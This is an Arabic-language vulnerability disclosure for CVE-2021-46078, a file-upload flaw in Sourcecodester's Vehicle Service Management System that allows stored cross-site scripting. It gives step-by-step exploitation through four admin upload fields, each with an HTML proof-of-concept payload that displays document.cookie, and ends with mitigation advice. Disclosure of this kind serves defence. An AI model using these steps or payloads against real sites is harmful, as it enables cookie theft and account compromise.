CVE-2021-46078
عنوان الاستغلال: نظام إدارة خدمة المركبات - تحميل ملفات 'متعدد' يؤدي إلى تخزين سكربتات عبر المواقع
CVE: CVE-2021-46078
CVSS: 4.8 متوسطة
المراجع:
الوصف:
توجد ثغرة أمنية في تحميل الملفات دون قيود في نظام إدارة خدمة المركبات من Sourcecodester الإصدار 1.0. يمكن لمهاجم عن بُعد تحميل ملفات خبيثة تؤدي إلى ثغرة تخزين سكربتات عبر المواقع (Stored XSS).
1. نظام إدارة خدمة المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود HTML أعلاه، على سبيل المثال: XSS.html
- في قسم حسابي، أدخل جميع التفاصيل المطلوبة واستعرض ملف HTML في حقل الصورة الرمزية (Avatar).
- انقر على زر التحديث.
- افتح الصورة الرمزية في تبويب جديد.
- سيتم تشغيل كود جافاسكربت الخبيث.
2. نظام إدارة خدمة المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم قائمة المستخدمين وانقر على زر إنشاء جديد.
الحمولة:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود HTML أعلاه، على سبيل المثال: XSS.html
- في صفحة إنشاء مستخدم جديد، أدخل جميع التفاصيل المطلوبة واستعرض ملف HTML في حقل الصورة الرمزية (Avatar).
- انقر على زر الحفظ.
- افتح الصورة الرمزية في تبويب جديد.
- سيتم تشغيل كود جافاسكربت الخبيث.
3. نظام إدارة خدمة المركبات - 'الإعدادات-شعار النظام' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود HTML أعلاه، على سبيل المثال: XSS.html
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واستعرض ملف HTML في حقل شعار النظام.
- انقر على زر التحديث.
- افتح صورة شعار النظام في تبويب جديد.
- سيتم تشغيل كود جافاسكربت الخبيث.
4. نظام إدارة خدمة المركبات - 'الإعدادات-غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود HTML أعلاه، على سبيل المثال: XSS.html
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واستعرض ملف HTML في حقل غلاف الموقع.
- انقر على زر التحديث.
- افتح صورة غلاف الموقع في تبويب جديد.
- سيتم تشغيل كود جافاسكربت الخبيث.
التأثير:
يمكن للمهاجم تحميل ملف خبيث في عدة نقاط نهاية (endpoints) مما يؤدي إلى تخزين سكربتات عبر المواقع (Stored XSS).
التخفيف:
يُوصى بتنفيذ ما يلي:
- لا تقبل اسم الملف وامتداده مباشرةً دون وجود مرشح قائمة بيضاء (white-list).
- إذا لم تكن هناك حاجة إلى أحرف Unicode، يُنصح بشدة بقبول الأحرف الأبجدية الرقمية فقط ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- حدّد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة (DoS).
- يجب ألا يملك دليل التحميل أي صلاحية "تنفيذ".
- لا تعتمد على التحقق من جانب العميل فقط.